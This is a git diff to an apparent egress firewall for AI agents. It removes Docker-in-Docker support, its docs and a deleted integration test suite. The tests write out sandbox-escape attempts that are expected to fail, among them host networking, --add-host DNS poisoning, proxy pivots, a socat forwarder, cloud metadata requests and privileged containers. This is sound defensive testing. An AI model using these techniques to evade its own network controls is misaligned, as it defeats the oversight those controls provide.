`OLDPWD`, `SHLVL`, `_`, `SUDO_*` ## Best Practices diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index a39bfa9a..bccf387b 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -227,46 +227,6 @@ docker exec awf-agent dmesg | grep FW_BLOCKED docker exec awf-agent ping -c 3 172.30.0.10 ``` -## Docker-in-Docker Issues - -### Spawned Containers Not Using Proxy - -**Problem:** Containers spawned by docker commands don't respect firewall - -**Solution:** -- Verify docker-wrapper.sh is working: - ```bash - docker exec awf-agent cat /tmp/docker-wrapper.log - ``` -- Check that spawned containers have correct network: - ```bash - docker network inspect awf-net - # Should show spawned containers in "Containers" section - ``` - -### Docker Bypass Attempts Blocked - -**Problem:** `--network host is not allowed (bypasses firewall)` - -**Solution:** -- This is expected behavior - `--network host` bypasses the firewall -- Use default network instead (no `--network` flag needed) -- The firewall automatically injects the correct network - -**Problem:** `--add-host is not allowed (enables DNS poisoning)` - -**Solution:** -- This is expected behavior - `--add-host` can bypass domain restrictions -- Remove `--add-host` flag from docker command -- Use legitimate DNS resolution instead - -**Problem:** `--privileged is not allowed (bypasses all security)` - -**Solution:** -- This is expected behavior - `--privileged` can disable firewall rules -- Remove `--privileged` flag from docker command -- Use containers without privileged mode - ## Cleanup Issues ### Orphaned Containers @@ -414,7 +374,6 @@ If you're still experiencing issues: 3. **Review all logs:** - Agent logs: `/tmp/awf-agent-logs-/` - Squid logs: `/tmp/squid-logs-/` - - Docker wrapper logs: `docker exec awf-agent cat /tmp/docker-wrapper.log` - Container logs: `docker logs awf-agent` 4. **Check documentation:** diff --git a/docs/usage.md b/docs/usage.md index 43b81d9b..768804ab 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -42,23 +42,6 @@ sudo awf \ 'curl https://api.github.com' ``` -### Docker-in-Docker Example - -The firewall enforces domain filtering on spawned containers: - -```bash -# Allowed - api.github.com is in the allowlist -sudo awf \ - --allow-domains api.github.com,registry-1.docker.io,auth.docker.io \ - 'docker run --rm curlimages/curl -fsS https://api.github.com/zen' - -# Blocked - api.github.com NOT in the allowlist -sudo awf \ - --allow-domains registry-1.docker.io,auth.docker.io \ - 'docker run --rm curlimages/curl -fsS https://api.github.com/zen' -# Returns: curl: (22) The requested URL returned error: 403 -``` - ### With GitHub Copilot CLI ```bash @@ -413,46 +396,6 @@ sudo awf --allow-domains echo.websocket.events "wscat -c wss://echo.websocket.ev sudo awf --allow-domains github.com "npm install -g wscat && wscat -c wss://echo.websocket.events" ``` -### Docker --network host is Blocked - -```bash -# --network host bypasses firewall and is blocked -sudo awf --allow-domains github.com \ - "docker run --rm --network host curlimages/curl https://example.com" # ✗ fails -# Error: --network host is not allowed (bypasses firewall) - -# Use default network (awf-net is injected automatically) -sudo awf --allow-domains example.com \ - "docker run --rm curlimages/curl https://example.com" # ✓ works -``` - -### Docker --add-host is Blocked (DNS Poisoning Protection) - -```bash -# --add-host can map whitelisted domains to unauthorized IPs (DNS poisoning attack) -ip=$(getent hosts example.com | awk '{print $1}' | head -1) -sudo awf --allow-domains github.com \ - "docker run --rm --add-host github.com:$ip curlimages/curl https://github.com" # ✗ fails -# Error: --add-host is not allowed (enables DNS poisoning) - -# Without --add-host, DNS resolution is legitimate -sudo awf --allow-domains github.com \ - "docker run --rm curlimages/curl https://github.com" # ✓ works -``` - -### Docker --privileged is Blocked (Security Bypass Protection) - -```bash -# --privileged grants unrestricted access and can disable firewall rules -sudo awf --allow-domains github.com \ - "docker run --rm --privileged curlimages/curl https://example.com" # ✗ fails -# Error: --privileged is not allowed (bypasses all security) - -# Use containers without privileged mode -sudo awf --allow-domains example.com \ - "docker run --rm curlimages/curl https://example.com" # ✓ works -``` - ## IP-Based Access Direct IP access (without domain names) is blocked: diff --git a/examples/README.md b/examples/README.md index a522c2a7..ff771d1a 100644 --- a/examples/README.md +++ b/examples/README.md @@ -14,7 +14,6 @@ This directory contains example scripts demonstrating common ways to use the Age |------|-------------| | [basic-curl.sh](basic-curl.sh) | Simple HTTP request through the firewall | | [github-copilot.sh](github-copilot.sh) | Using GitHub Copilot CLI with the firewall | -| [docker-in-docker.sh](docker-in-docker.sh) | Running Docker containers inside the firewall | | [using-domains-file.sh](using-domains-file.sh) | Using a file to specify allowed domains | | [blocked-domains.sh](blocked-domains.sh) | Blocking specific domains with allowlist/blocklist | | [debugging.sh](debugging.sh) | Debug mode with log inspection | diff --git a/examples/docker-in-docker.sh b/examples/docker-in-docker.sh deleted file mode 100644 index 03ec2a10..00000000 --- a/examples/docker-in-docker.sh +++ /dev/null @@ -1,39 +0,0 @@ -#!/bin/bash -# Example: Running Docker containers inside the firewall (Docker-in-Docker) -# -# This example demonstrates how spawned Docker containers inherit -# the firewall restrictions. All network traffic from nested containers -# is also filtered through the domain allowlist. -# -# Usage: sudo ./examples/docker-in-docker.sh - -set -e - -echo "=== AWF Docker-in-Docker Example ===" -echo "" - -# Docker-in-Docker requires access to Docker Hub for pulling images -DOCKER_DOMAINS="registry-1.docker.io,auth.docker.io,production.cloudflare.docker.com" - -echo "1. Running curl container with api.github.com allowed..." -echo "" - -# This should succeed - api.github.com is in the allowlist -sudo awf \ - --allow-domains "api.github.com,$DOCKER_DOMAINS" \ - -- 'docker run --rm curlimages/curl -s https://api.github.com/zen' - -echo "" -echo "2. Attempting to access example.com (should be blocked)..." -echo "" - -# This should fail - example.com is NOT in the allowlist -# Capture exit code to show what a blocked request looks like -sudo awf \ - --allow-domains "$DOCKER_DOMAINS" \ - -- 'docker run --rm curlimages/curl -f --max-time 10 https://example.com' || echo "Exit code: $? (blocked as expected)" - -echo "" -echo "(The above error is expected - example.com was blocked by the firewall)" -echo "" -echo "=== Example Complete ===" diff --git a/src/cli.ts b/src/cli.ts index 81fa1f53..e6c9bff0 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -362,7 +362,7 @@ program ) .option( '--env-all', - 'Pass all host environment variables to container (excludes system vars like PATH, DOCKER_HOST)', + 'Pass all host environment variables to container (excludes system vars like PATH)', false ) .option( diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index 179496a3..ccb7dbcd 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -137,7 +137,6 @@ describe('docker-manager', () => { expect(volumes).toContain('/:/host:rw'); expect(volumes).toContain('/tmp:/tmp:rw'); - expect(volumes).toContain('/var/run/docker.sock:/var/run/docker.sock:rw'); expect(volumes.some((v: string) => v.includes('agent-logs'))).toBe(true); }); @@ -159,7 +158,6 @@ describe('docker-manager', () => { // Should still include essential mounts expect(volumes).toContain('/tmp:/tmp:rw'); - expect(volumes).toContain('/var/run/docker.sock:/var/run/docker.sock:rw'); expect(volumes.some((v: string) => v.includes('agent-logs'))).toBe(true); }); @@ -577,25 +575,6 @@ describe('docker-manager', () => { expect(fs.existsSync(path.join(testDir, 'squid-logs'))).toBe(true); }); - it('should create .docker config directory', async () => { - const config: WrapperConfig = { - allowedDomains: ['github.com'], - agentCommand: 'echo test', - logLevel: 'info', - keepContainers: false, - workDir: testDir, - }; - - try { - await writeConfigs(config); - } catch { - // May fail, but directories should still be created - } - - // Verify .docker config directory was created - expect(fs.existsSync(path.join(testDir, '.docker'))).toBe(true); - }); - it('should write squid.conf file', async () => { const config: WrapperConfig = { allowedDomains: ['github.com', 'example.com'], diff --git a/src/docker-manager.ts b/src/docker-manager.ts index e7eef830..fbd3b93a 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -242,9 +242,6 @@ export function generateDockerCompose( // System variables that must be overridden or excluded (would break container operation) const EXCLUDED_ENV_VARS = new Set([ 'PATH', // Must use container's PATH - 'DOCKER_HOST', // Must use container's socket path - 'DOCKER_CONTEXT', // Must use default context - 'DOCKER_CONFIG', // Must use clean config 'PWD', // Container's working directory 'OLDPWD', // Not relevant in container 'SHLVL', // Shell level not relevant @@ -263,8 +260,6 @@ export function generateDockerCompose( SQUID_PROXY_PORT: SQUID_PORT.toString(), HOME: process.env.HOME || '/root', PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', - DOCKER_HOST: 'unix:///var/run/docker.sock', - DOCKER_CONTEXT: 'default', }; // If --env-all is specified, pass through all host environment variables (except excluded ones) @@ -306,13 +301,6 @@ export function generateDockerCompose( // Essential mounts that are always included '/tmp:/tmp:rw', `${process.env.HOME}:${process.env.HOME}:rw`, - // Mount Docker socket for MCP servers that need to run containers - '/var/run/docker.sock:/var/run/docker.sock:rw', - // Mount clean Docker config to override host's context - `${config.workDir}/.docker:/workspace/.docker:rw`, - // Override host's .docker directory with clean config to prevent Docker CLI - // from reading host's context (e.g., desktop-linux pointing to wrong socket) - `${config.workDir}/.docker:${process.env.HOME}/.docker:rw`, // Mount agent logs directory to workDir for persistence `${config.workDir}/agent-logs:${process.env.HOME}/.copilot/logs:rw`, ]; @@ -435,23 +423,6 @@ export async function writeConfigs(config: WrapperConfig): Promise { fs.mkdirSync(config.workDir, { recursive: true }); } - // Create a clean Docker config directory to prevent host's Docker context from being used - // This is mounted into the container via DOCKER_CONFIG env var - const dockerConfigDir = path.join(config.workDir, '.docker'); - if (!fs.existsSync(dockerConfigDir)) { - fs.mkdirSync(dockerConfigDir, { recursive: true }); - } - - // Write a minimal Docker config that uses default context (no custom socket paths) - const dockerConfig = { - currentContext: 'default', - }; - fs.writeFileSync( - path.join(dockerConfigDir, 'config.json'), - JSON.stringify(dockerConfig, null, 2) - ); - logger.debug(`Docker config written to: ${dockerConfigDir}/config.json`); - // Create agent logs directory for persistence const agentLogsDir = path.join(config.workDir, 'agent-logs'); if (!fs.existsSync(agentLogsDir)) { diff --git a/src/types.ts b/src/types.ts index eeff2c5f..97142113 100644 --- a/src/types.ts +++ b/src/types.ts @@ -53,7 +53,7 @@ export interface WrapperConfig { * * This command runs inside an Ubuntu-based Docker container with iptables rules * that redirect all HTTP/HTTPS traffic through a Squid proxy. The command has - * access to the host filesystem (mounted at /host and ~) and Docker socket. + * access to the host filesystem (mounted at /host and ~). * * @example 'npx @github/copilot --prompt "list files"' * @example 'curl https://api.github.com/zen' @@ -528,7 +528,6 @@ export interface DockerService { * Common mounts: * - Host filesystem: '/:/host:ro' (read-only host access) * - Home directory: '${HOME}:${HOME}' (user files) - * - Docker socket: '/var/run/docker.sock:/var/run/docker.sock' (docker-in-docker) * - Configs: '${workDir}/squid.conf:/etc/squid/squid.conf:ro' * * @example ['./squid.conf:/etc/squid/squid.conf:ro'] diff --git a/tests/integration/docker-egress.test.ts b/tests/integration/docker-egress.test.ts deleted file mode 100644 index 713d8dec..00000000 --- a/tests/integration/docker-egress.test.ts +++ /dev/null @@ -1,349 +0,0 @@ -/** - * Docker Container Egress Tests - * Port of Docker-related tests from scripts/ci/test-firewall-robustness.sh - * - * Tests Docker container egress control: - * - Basic container egress (allow/block) - * - Network modes (bridge, host, none, custom) - * - DNS controls from containers - * - Proxy pivot attempts - * - Container-to-container bounce - * - UDP, QUIC, multicast from containers - * - Metadata & link-local protection - * - Privilege & capability abuse - * - Direct IP and SNI/Host mismatch - * - Build-time egress - * - IPv6 from containers - */ - -/// - -import { describe, test, expect, beforeAll, afterAll, beforeEach } from '@jest/globals'; -import { createRunner, AwfRunner } from '../fixtures/awf-runner'; -import { cleanup } from '../fixtures/cleanup'; -import { createDockerHelper, DockerHelper } from '../fixtures/docker-helper'; - -describe('Docker Container Egress Tests', () => { - let runner: AwfRunner; - let docker: DockerHelper; - - beforeAll(async () => { - await cleanup(false); - runner = createRunner(); - docker = createDockerHelper(); - - // Pre-pull images to avoid timeouts - console.log('Pulling required Docker images...'); - await docker.pullImage('curlimages/curl:latest'); - await docker.pullImage('alpine:latest'); - }, 300000); // 5 minutes for image pulls - - afterAll(async () => { - // Clean up test containers and networks - await docker.rm('badproxy', true); - await docker.rm('fwd', true); - await docker.removeNetwork('tnet'); - await cleanup(false); - }, 30000); - - beforeEach(async () => { - // Clean up between tests - await docker.rm('badproxy', true); - await docker.rm('fwd', true); - await docker.removeNetwork('tnet'); - }, 30000); - - describe('8A. Basic container egress', () => { - test('Container: Allow whitelisted domain (HTTPS)', async () => { - const result = await runner.runWithSudo('docker run --rm curlimages/curl:latest -fsS https://api.github.com/zen', { - allowDomains: ['api.github.com'], - logLevel: 'warn', - timeout: 30000, - }); - - expect(result).toSucceed(); - }, 120000); - - test('Container: Block non-whitelisted domain', async () => { - const result = await runner.runWithSudo('docker run --rm curlimages/curl:latest -f https://example.com', { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - }); - - expect(result).toFail(); - }, 120000); - }); - - describe('8B. Network modes', () => { - test('Container: Bridge mode (default) honored', async () => { - const result = await runner.runWithSudo('docker run --rm curlimages/curl:latest -fsS https://github.com/robots.txt', { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - }); - - expect(result).toSucceed(); - }, 120000); - - test('Container: Host mode must NOT bypass firewall', async () => { - const result = await runner.runWithSudo( - 'docker run --rm --network host curlimages/curl:latest -f https://example.com --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - - test('Container: None mode has no egress', async () => { - const result = await runner.runWithSudo( - 'docker run --rm --network none curlimages/curl:latest -f https://github.com --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); - - describe('8C. DNS controls from container', () => { - test('Container: Custom resolver with allowed domain', async () => { - const result = await runner.runWithSudo( - 'docker run --rm --dns 8.8.8.8 curlimages/curl:latest -fsS https://api.github.com/zen', - { - allowDomains: ['api.github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toSucceed(); - }, 120000); - - test("Container: /etc/hosts injection shouldn't bypass", async () => { - const result = await runner.runWithSudo( - `bash -c 'ip=$(getent hosts example.com | awk "{print \\$1}" | head -1); if [ -z "$ip" ]; then echo "Failed to resolve IP" && exit 1; fi; docker run --rm --add-host github.com:$ip curlimages/curl:latest -fk https://github.com --max-time 5'`, - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); - - describe('8D. Proxy pivot attempts inside Docker', () => { - test('Container: Block internal HTTP proxy pivot', async () => { - // Start malicious internal proxy - await docker.pullImage('dannydirect/tinyproxy:latest'); - await docker.run({ - image: 'dannydirect/tinyproxy:latest', - name: 'badproxy', - detach: true, - }); - - // Wait for proxy to start - await new Promise(resolve => setTimeout(resolve, 2000)); - - const result = await runner.runWithSudo( - 'docker run --rm --link badproxy curlimages/curl:latest -f -x http://badproxy:8888 https://example.com --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - - // Cleanup - await docker.rm('badproxy', true); - }, 120000); - - test('Container: Block SOCKS proxy from container', async () => { - const result = await runner.runWithSudo( - 'docker run --rm curlimages/curl:latest -f --socks5-hostname 127.0.0.1:1080 https://example.com --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); - - describe('8E. Container-to-container bounce', () => { - test('Container: Block TCP forwarder to disallowed host', async () => { - // Start TCP forwarder to disallowed host - await docker.run({ - image: 'alpine:latest', - name: 'fwd', - detach: true, - command: ['sh', '-c', 'apk add --no-cache socat >/dev/null 2>&1 && socat TCP-LISTEN:8443,fork,reuseaddr TCP4:example.com:443'], - }); - - // Wait for forwarder to start - await new Promise(resolve => setTimeout(resolve, 3000)); - - const result = await runner.runWithSudo( - 'docker run --rm --link fwd curlimages/curl:latest -fk https://fwd:8443 --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - - // Cleanup - await docker.rm('fwd', true); - }, 120000); - }); - - describe('8F. UDP, QUIC, multicast from container', () => { - test('Container: Block mDNS (UDP/5353)', async () => { - const result = await runner.runWithSudo( - `docker run --rm alpine:latest sh -c 'apk add --no-cache netcat-openbsd >/dev/null 2>&1 && timeout 5 nc -u -w1 224.0.0.251 5353 { - test('Container: Block AWS/GCP metadata IPs (v4)', async () => { - const result = await runner.runWithSudo( - 'docker run --rm curlimages/curl:latest -f http://169.254.169.254 --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - - test('Container: Block IPv6 link-local multicast', async () => { - const result = await runner.runWithSudo( - `docker run --rm alpine:latest sh -c 'apk add --no-cache netcat-openbsd >/dev/null 2>&1 && timeout 5 nc -6 -u -w1 ff02::fb 5353 { - test("Container: NET_ADMIN shouldn't defeat host egress", async () => { - const result = await runner.runWithSudo( - `docker run --rm --cap-add NET_ADMIN alpine:latest sh -c 'apk add --no-cache curl >/dev/null 2>&1 && curl -f https://example.com --max-time 5'`, - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - - test('Container: Privileged container still blocked', async () => { - const result = await runner.runWithSudo( - 'docker run --rm --privileged curlimages/curl:latest -f https://example.com --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); - - describe('8I. Direct IP and SNI/Host mismatch from container', () => { - test('Container: Block IP literal access', async () => { - const result = await runner.runWithSudo( - 'docker run --rm curlimages/curl:latest -f https://93.184.216.34 --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - - test('Container: Block SNI/Host mismatch via --resolve', async () => { - const result = await runner.runWithSudo( - `bash -c 'ip=$(getent hosts example.com | awk "{print \\$1}" | head -1); if [ -z "$ip" ]; then echo "Failed to resolve IP" && exit 1; fi; docker run --rm curlimages/curl:latest --noproxy "*" -fk --resolve github.com:443:$ip https://github.com --max-time 5'`, - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); - - describe('8J. Custom networks', () => { - test('Container: User-defined bridge still enforced', async () => { - // Create custom network - await docker.createNetwork('tnet'); - - const result = await runner.runWithSudo( - 'docker run --rm --network tnet curlimages/curl:latest -fsS https://api.github.com/zen', - { - allowDomains: ['api.github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toSucceed(); - - // Cleanup - await docker.removeNetwork('tnet'); - }, 120000); - }); - - describe('8L. IPv6 from containers', () => { - test('Container: Block IPv6 literal (Cloudflare DNS)', async () => { - const result = await runner.runWithSudo( - 'docker run --rm curlimages/curl:latest -f https://[2606:4700:4700::1111] --max-time 5', - { - allowDomains: ['github.com'], - logLevel: 'warn', - timeout: 30000, - } - ); - - expect(result).toFail(); - }, 120000); - }); -}); diff --git a/tests/integration/volume-mounts.test.ts b/tests/integration/volume-mounts.test.ts index 29a2430e..8fa55204 100644 --- a/tests/integration/volume-mounts.test.ts +++ b/tests/integration/volume-mounts.test.ts @@ -160,22 +160,7 @@ describe('Volume Mount Functionality', () => { expect(result.stderr).toMatch(/\/host.*No such file or directory/); }, 120000); - test('Test 6: Essential mounts still work (Docker socket)', async () => { - const result = await runner.runWithSudo( - 'docker --version', - { - allowDomains: ['github.com'], - logLevel: 'debug', - volumeMounts: [`${testDir}:/data:ro`], - timeout: 30000, - } - ); - - expect(result).toSucceed(); - expect(result.stdout).toMatch(/Docker version/); - }, 120000); - - test('Test 7: Essential mounts still work (HOME directory)', async () => { + test('Test 6: Essential mounts still work (HOME directory)', async () => { const result = await runner.runWithSudo( 'sh -c "echo $HOME && test -d $HOME"', { @@ -190,7 +175,7 @@ describe('Volume Mount Functionality', () => { expect(result.stdout).toMatch(/\/root|\/home\//); }, 120000); - test('Test 8: Backward compatibility - no custom mounts uses blanket mount', async () => { + test('Test 7: Backward compatibility - no custom mounts uses blanket mount', async () => { const result = await runner.runWithSudo( 'ls /host/tmp | head -5', { @@ -206,7 +191,7 @@ describe('Volume Mount Functionality', () => { expect(result.exitCode).toBe(0); }, 120000); - test('Test 9: Mount without mode defaults to rw', async () => { + test('Test 8: Mount without mode defaults to rw', async () => { const result = await runner.runWithSudo( 'sh -c \'echo "Test write" > /data/write-test.txt\'', { @@ -224,7 +209,7 @@ describe('Volume Mount Functionality', () => { expect(fs.existsSync(outputFile)).toBe(true); }, 120000); - test('Test 10: Debug logging shows mount configuration', async () => { + test('Test 9: Debug logging shows mount configuration', async () => { const result = await runner.runWithSudo( 'echo "test"', { @@ -240,7 +225,7 @@ describe('Volume Mount Functionality', () => { expect(result.stderr).toMatch(/Adding.*custom volume mount/); }, 120000); - test('Test 11: Current working directory mount', async () => { + test('Test 10: Current working directory mount', async () => { // Create a project directory const projectDir = path.join(testDir, 'project'); fs.mkdirSync(projectDir); @@ -260,7 +245,7 @@ describe('Volume Mount Functionality', () => { expect(result.stdout).toContain('# Test Project'); }, 120000); - test('Test 12: Mixed read-only and read-write mounts', async () => { + test('Test 11: Mixed read-only and read-write mounts', async () => { const roDir = path.join(testDir, 'readonly'); const rwDir = path.join(testDir, 'readwrite'); fs.mkdirSync(roDir);